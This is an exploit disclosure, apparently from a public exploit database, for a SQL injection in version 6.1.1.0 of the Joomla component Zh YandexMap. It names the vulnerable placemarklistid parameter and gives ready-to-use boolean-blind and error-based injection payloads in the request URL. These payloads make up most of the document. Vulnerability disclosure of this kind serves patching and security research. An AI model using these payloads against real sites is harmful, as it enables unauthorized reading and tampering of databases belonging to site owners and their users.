Joomla Zh YandexMap 6.1.1.0 SQL Injection

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# Exploit Title: Joomla! Component Zh YandexMap 6.1.1.0 - SQL Injection  
# Dork: N/A  
# Date: 29.09.2017  
# Vendor Homepage: http://zhuk.cc/  
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/zh-yandexmap/  
# Demo: http://joomla.zhuk.cc/index.php  
# Version: 6.1.1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
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# Proof of Concept:  
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# http://localhost/[PATH]/index.php?option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=[SQL]  
#   
# Parameter: placemarklistid (GET)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
# Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-8164) OR 5013=5013#  
#   
# Type: error-based  
# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
# Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-1660) OR 1 GROUP BY CONCAT(0x71627a7871,(SELECT (CASE WHEN (6691=6691) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2)) HAVING MIN(0)#  
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# Etc..  
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